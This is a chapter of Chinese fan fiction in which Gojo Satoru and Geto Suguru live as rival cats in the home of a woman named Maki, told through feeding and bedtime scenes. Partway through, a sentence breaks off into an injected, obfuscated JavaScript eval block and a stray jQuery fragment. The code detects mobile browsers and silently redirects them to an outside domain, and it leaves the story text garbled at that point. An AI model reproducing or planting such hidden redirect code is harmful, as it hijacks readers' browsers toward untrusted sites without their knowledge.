白猫的叫声可谓是振聋发聩,真树觉得今天的雷都没有这么吵。
然而面对这种吵闹的小猫咪,她的应对方案很有限。只有一个被正强化过的技能,和刚刚被负强化的经验。
小猫愤怒张嘴,真树认真亲。
小猫闭嘴,真树快速退。
小猫又张嘴,真树认真又亲。
小猫再闭嘴,真树快速再退。
小猫张,算了,回来把老子毛给亲掉了。
五条悟挂在真树的手上撇撇嘴,他才不是这么好哄的猫。
真树把终于哄好的猫放到地上,不想让这两只关系恶劣的猫见面,以防应激。
但她一放下白猫就炸毛,提起来就趴下。
真树只好去厨房洗手池下面,掏了一只厚点的塑料袋,再把一脸不乐意的猫装进去,拎着去了卧室。
没办法,她一只手控制不住。
五条悟被提溜着进入卧室,看到了在躺在临时垫子上的黑猫,从头到尾都狼狈不堪。
他立即哈哈大笑,这只黑猫能有什么竞争力,身上的毛都焦糊了。
只有自己是最可爱的猫。
漂亮的白猫笑倒在塑料袋里,宽大的尾巴摇来摇去,总是正好挑到真树的手腕,拂过手心。
真树在裤腿上搓了搓被扫到的手,看了下明显是在挑衅的猫,干脆坐下来把哇哇叫的露娜夹到腿间,顺了顺它动不动就起飞的背毛。
见猫咪得到了关注反而更加炫耀,她默默地收回了手,祈祷晚上睡觉的时候它也能这么好对付。
然后她观察了一下没什么异样的黑猫,觉得可能是孩子刚来不好意思吃家里的饭。
拿起旁边没动过的食盘,她挑出一块烂熟的鸡胸肉,碾碎后喂到黑猫的嘴边,耐心地等它张嘴。
黑猫侧卧在叠成方块的被子上,鸡肉丝送过来时,犹豫了片刻后略微抬头,秀气地小口小口撕下吃掉。
吃完后它没有看真树,也没有看又在破口大骂的白猫,而是垂着眼睛安静地等待着下一步的动作。
真树对耳边噪音渐渐习惯,光关注黑猫拘谨的状态,试着伸手安抚地顺了下它干枯的毛发,继续重复刚刚的喂食。
这次的红薯被黑猫直接吃掉了,但是一点渣渣掉落在了手心,被发现的黑猫自然地舔掉。
真树眨了眨眼,“这还是我第一次被小猫咪舔,舌头上原来真的有倒刺啊。”
“明明是我第一次舔你的!你在睡觉而已,那也是我!”尽管知道真树听不懂,他也要告知天下,尤其是下面这只看起来乖乖其实坏坏的小眼睛猫!
一人一猫一喂一吃,早就和谐地刺痛了五条悟的眼睛。
他终于放弃光动口不动手,直接伸长了身体,把真树手上烂乎乎不知道是什么的东西吃掉。
湛蓝的眼睛瞪着夏油杰,“你之前咬哥林布的时候,明明他有出血吧。你的咒力都恢复了,赖在这里又想做什么坏事。”
结果还没等到黑猫有反应,他先被提起来拎走了。
虽然被打断了有点生气,但他更想让真树赶紧离开。
就在门关上的时候,身后响起了乖巧婉转的猫叫声,这次是有意义的,“羡慕。”
五条悟一下就记起昨晚的问题,顿时明白他是在回答那句“羡慕自己有可以变态的人”。
白猫气愤地把脑袋伸出塑料袋,平时冲着真树的输出全都砸向了夏油杰。
结果他发现叫声清亮优雅的黑猫却在挑衅地回看,还轻轻叫了一声,“想要。”
门被见势不妙的真树快速关上。
战火却已经单方面爆发,白猫终于忍无可忍地划破了塑料袋,冲到门上一爪三连。
真树不语,只是找到给自己家猫留下的猫饭,推到它面前。希望可以让精力旺盛的白猫转移注意,平息怒火。
露娜啊,骂了别的猫就消气吧,别骂她。
五条悟看着碗里黏糊糊的饭更来气了,他自己吃难吃就忍了,但是现在别的猫都有了,居然还要忍。
他直接跳到真树目前,张大了嘴巴,发出了一声现学现卖的猫叫声。
怎么别的猫能叫,他就不能叫了!
卧室里传来一声轻嗤,五条悟才不在乎。
看真树被萌到的表情就知道了。
碗里被加了一个真树的煎蛋,他又得意地叫了几声,“谢谢亲爱的给我的蛋蛋,我好喜欢吃哦,是不是只有我有呀?”
这样的得意一直持续到睡觉前,
真树站在门前,看着昂首挺胸准备进来的露娜,感觉有点不妙,它不会是以为所有的小猫咪都可以一起睡觉吧。
这两只猫在一个屋里,岂不是整晚都睡不踏实。
她推着露娜软软的脸,见露娜还在不敢置信地往里挤,感觉良心在痛,但更不想让伤口痛,“不行,你没洗澡。”
夏油杰在她身后的被垫里,发出了原版的声音,“谢谢亲爱的选我一起,我好喜欢你哦,是不是屋子里只有我呀?”
五条悟见夏油杰都能睡在卧室里,而他只能每天晚上等到她睡着了才能偷偷摸摸过来吸一下。
他觉得这个世界简直不可理喻,明明是他先来的!
现在莫名其妙地要被这个喜新厌旧的女人推出去了。
他扒在真树的手上,直视着她的良心大声喵喵,今天晚上他要是不进去大家都别想睡了。
真树你这个有眼无珠的女人,不知道谁是忠臣谁是奸佞!
那边那个耳洞比眼睛大的一看就是仇敌啊!
就在白猫还在声讨自己的福利时,黑猫已经上场了。他拖着伤腿慢慢走到真树腿边,怒气上头地直接蹭了上去。
而真树在拒绝良心被直视时,突然感觉腿边痒痒的,低头看到喵喵正在轻轻的扒拉自己。
它发现了来自上方的视线后,就抬起头绵言细语地喵喵叫,细长的眼睛柔和地直视自己。此时,凌乱的毛发、破损的血肉以及腿部的绷带都增添了大量的脆弱感。
她第一次接收到了来自猫的暴击,大脑愣愣地想这猫是不是换过了,为何如此判若两猫。
但是这么乖的猫应该也不会打架吧,反正床单被罩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883169|176379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也没换过,一起睡就一起睡吧。
于是当即改口,“好,大家一起睡吧。”
真树把行动不便的黑猫抱回垫子上,又将不知道为什么更加怒气冲冲的露娜托起,放在自己的左手边,就开始刷手机。
睡觉?谁不玩手机就睡觉啊。
活着就是为了玩手机。
五条悟看着手机砸到真树的脸上,痛得她醒了一下,走过去幸灾乐祸地嘲笑,“知道谁才是最贴心的小猫咪了没?”
他推开手机,趴到了有些红肿的脸边,小心地避开受伤的部位,垂首仔细地确认她的情况。
两侧的咬伤和抓伤都已经清创消毒,但是右手和上臂的烫伤很严重。
手指通红发紫,手背上布满大大小小的水泡,上臂更是有一块巴掌大的皮脱落了,血痕错落地缠在裸露的红肉上。
其实这种伤口,在他原来的世界算不了什么。作为从小就开始祓除咒灵的家系咒术师,他见过大大小小的伤,乃至死亡都要超过了绝大部分的人。
可是为什么一直如此如鲠在喉呢?
是因为如果他能够早点赶到,或者如果他当时能有更多咒力,结果就不会这样了吗?
压得极低的猫叫声在这个空空的房间中响起。
“你最好不要被我抓到把柄。”五条悟继续看着血肉模糊的伤口,没有离开也没有转头,“我不信任你。你的咒力来源——血,是从哪里获得的?不要跟我说,那个小巷里的叫声只是个巧合。”
五条悟终于把注意力放到了停止舔毛的黑猫上,他在看着真树去警察局的时候就在思考这些问题了。
他为什么屡次主动来到这个小屋里。
他昨天夜里告知自己的意图是什么。
那个老头的复仇里面到底有没有他的参与。
所有的矛盾之处散落一地碎片,或许真相在还没有恢复的记忆里躲着,也或许在没有注意到的细节处藏着。
但是总有一天,他会自己找到答案。
下次,绝不会——
白猫把脑袋塞进了女性的脖子和床单形成的夹角,紧贴着她的身体。埋在心底的负面情绪逐渐被更迭,如果可以一直在她身边的话……
白色的眼睫毛像是空中飞舞的蝴蝶,飘飘忽忽的扇动了几下,轻盈地落下了。
看着五条悟紧守着自己的猫薄荷睡着了,夏油杰自己也不知道在烦躁什么。
其实关于真树,他本来也没有多强的企图心,只是五条悟一如既往让人生气的态度使他想反击回去。
对让她受伤的补偿心理罢了,夏油杰对自己说。
至于五条悟说的话,他没办法辩驳也没办法阻拦真相。如果按照真树的行动方式的话,或许就是逃避,直到等着最后的结果吧。
自我调理了一下心态,夏油杰终于松了口气,至少真树没有叫那个新名字。
他的身心真的都没有准备好。
希望她能把这个离谱的名字连同她做的猫饭一起扔了,猫饭扔远点。来到这个奇怪又陌生的世界后,他终于睡了第一个好觉。